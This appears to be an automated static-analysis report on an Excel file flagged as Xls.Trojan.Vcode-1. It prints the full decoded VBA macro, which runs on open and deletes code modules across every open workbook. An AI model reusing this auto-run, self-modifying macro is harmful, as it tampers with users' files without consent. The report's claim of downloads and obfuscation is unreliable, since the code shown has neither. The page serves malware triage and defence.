Xls.Trojan.Vcode-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 ec3e4514b41b8eda…

MALICIOUS

Office (OLE)

19.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 73fe3b13be6e1f7098935fa8ac92b650 SHA-1: f5146a1cf7c246496adab08084962e3c4950f217 SHA-256: ec3e4514b41b8eda841609b6c0261c98a1e4f04af9cc42502b1f8059df411400
120 Risk Score

Malware Insights

Xls.Trojan.Vcode-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Vcode-1. It contains VBA macros, specifically a Workbook_Open macro, which is a common technique for executing malicious code automatically when the Excel file is opened. The macro code appears to be designed to manipulate or delete other VBA components, and potentially download further stages, though the exact payload execution is obfuscated and truncated in the provided evidence.

Heuristics 3

  • ClamAV: Xls.Trojan.Vcode-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Vcode-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3156 bytes
SHA-256: 1d32bf2443e00cf2310c9a7f996bdbb299aae3c948e6550c008a8c7ca3ae61ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error Resume Next
final = False
For i = 1 To Workbooks.Count
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
flag = False
vvcode = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.Lines(1, 1)
If vvcode = "Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)" Then
  flag = True
  final = True
End If

eline = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines

  
If flag = True Then
Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, eline
End If
Next j
Next i

For i = 1 To Workbooks.Count
vcount = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.CountOfLines
vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, vcount)
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.AddFromString (vcode)
Next i

If final = True Then MsgBox "hjb¹ÙÀÌ·¯½º °É·Á¼­ Ä¡·á¿Ï·áÇß½À´Ï´Ù.", vbOKOnly

End Sub

Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next
final = False
For i = 1 To Workbooks.Count
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
flag = False
vvcode = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.Lines(1, 1)
If vvcode = "Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)" Then
  flag = True
  final = True
End If

eline = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines

  
If flag = True Then
Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, eline
End If
Next j
Next i

For i = 1 To Workbooks.Count
vcount = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.CountOfLines
vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, vcount)
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.AddFromString (vcode)
Next i

If final = True Then MsgBox "hjb¹ÙÀÌ·¯½º °É·Á¼­ Ä¡·á¿Ï·áÇß½À´Ï´Ù.", vbOKOnly

End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True